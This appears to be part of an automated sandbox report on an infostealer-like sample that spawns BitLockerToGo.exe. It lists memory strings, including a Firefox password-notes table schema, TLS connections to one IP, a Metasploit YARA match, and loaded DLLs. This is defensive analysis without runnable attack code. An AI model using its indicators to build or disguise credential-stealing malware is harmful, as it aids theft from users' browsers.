Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: txUcQFc0aJ.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000004.00000003.2038386796.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012812451.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2037952407.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038099821.00000000055A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000004.00000003.2012812451.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000004.00000003.2038386796.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012812451.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2037952407.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038099821.00000000055A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000004.00000003.2012812451.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: txUcQFc0aJ.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49748 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1966405613.00000000014C2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0083A870 NtCancelWaitCompletionPacket,SetWaitableTimer,NtAssociateWaitCompletionPacket,		0_2_0083A870
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0083BD40 DuplicateHandle,GetCurrentThreadId,CreateWaitableTimerExW,CreateWaitableTimerExW,NtCreateWaitCompletionPacket,VirtualQuery,		0_2_0083BD40

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0086B8E0	0_2_0086B8E0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00834900	0_2_00834900
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00813170	0_2_00813170
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0083EBB0	0_2_0083EBB0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_008373C0	0_2_008373C0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00817BE0	0_2_00817BE0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0081A4F0	0_2_0081A4F0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0082C420	0_2_0082C420
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0081EDC0	0_2_0081EDC0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_008365C0	0_2_008365C0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00834E80	0_2_00834E80
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_008356A0	0_2_008356A0
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00830E20	0_2_00830E20
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_0081DF90	0_2_0081DF90
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00813770	0_2_00813770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031D276A	4_3_031D276A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE16C	4_3_031DE16C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE16C	4_3_031DE16C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE19F	4_3_031DE19F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE19F	4_3_031DE19F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE16C	4_3_031DE16C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE16C	4_3_031DE16C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE19F	4_3_031DE19F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031DE19F	4_3_031DE19F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055640D0	4_3_055640D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F85	4_3_05563F85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031D7002	4_3_031D7002

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Code function: String function: 0083FC40 appears 72 times

Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.0000000001488000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs txUcQFc0aJ.exe

Source: txUcQFc0aJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1966405613.00000000014C2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: txUcQFc0aJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000004.00000003.2012395324.0000000005588000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038177439.0000000005551000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: txUcQFc0aJ.exe	ReversingLabs: Detection: 47%
Source: txUcQFc0aJ.exe	Virustotal: Detection: 36%

Source: txUcQFc0aJ.exe	String found in binary or memory: /sched/pauses/stopping/other:seconds444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignx509: zero or negative DSA parameterx509: invalid CRL distribution pointx509: in
Source: txUcQFc0aJ.exe	String found in binary or memory: /sched/pauses/stopping/other:seconds444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignx509: zero or negative DSA parameterx509: invalid CRL distribution pointx509: in
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:seconds444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignx509: zero or negative DSA parameterx509: in
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:seconds444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignx509: zero or negative DSA parameterx509: in
Source: txUcQFc0aJ.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWM
Source: txUcQFc0aJ.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWM
Source: txUcQFc0aJ.exe	String found in binary or memory: runtime: failed mSpanList.insert /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: txUcQFc0aJ.exe	String found in binary or memory: runtime: failed mSpanList.insert /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: txUcQFc0aJ.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125crypto: requested hash function #reflect: slice index out of r
Source: txUcQFc0aJ.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125crypto: requested hash function #reflect: slice index out of r
Source: txUcQFc0aJ.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type14210854715202003717422485351
Source: txUcQFc0aJ.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type14210854715202003717422485351
Source: txUcQFc0aJ.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file
Source: txUcQFc0aJ.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125crypto: requested hash functi
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125crypto: requested hash functi
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type14210854715202003717422485351562571054273576010018587112426757
Source: txUcQFc0aJ.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondssync: RUnlock of unlocked RWMutexwaiting for unsupported file type14210854715202003717422485351562571054273576010018587112426757

Source: unknown	Process created: C:\Users\user\Desktop\txUcQFc0aJ.exe "C:\Users\user\Desktop\txUcQFc0aJ.exe"
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: txUcQFc0aJ.exe

Static PE information: certificate valid

Source: txUcQFc0aJ.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: txUcQFc0aJ.exe

Static file information: File size 4029080 > 1048576

Source: txUcQFc0aJ.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1ccc00
Source: txUcQFc0aJ.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1dce00

Source: txUcQFc0aJ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.0000000001488000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.0000000001488000.00000004.00001000.00020000.00000000.sdmp

Source: txUcQFc0aJ.exe

Static PE information: section name: .symtab

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00819387 push ebx; retn 0005h	0_2_0081938A
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 0_2_00829567 pushfd ; ret	0_2_00829568
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562709 push eax; retf 0032h	4_3_0556270A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562709 push eax; retf 0032h	4_3_0556270A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562709 push eax; retf 0032h	4_3_0556270A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562721 push eax; iretd	4_3_05562722
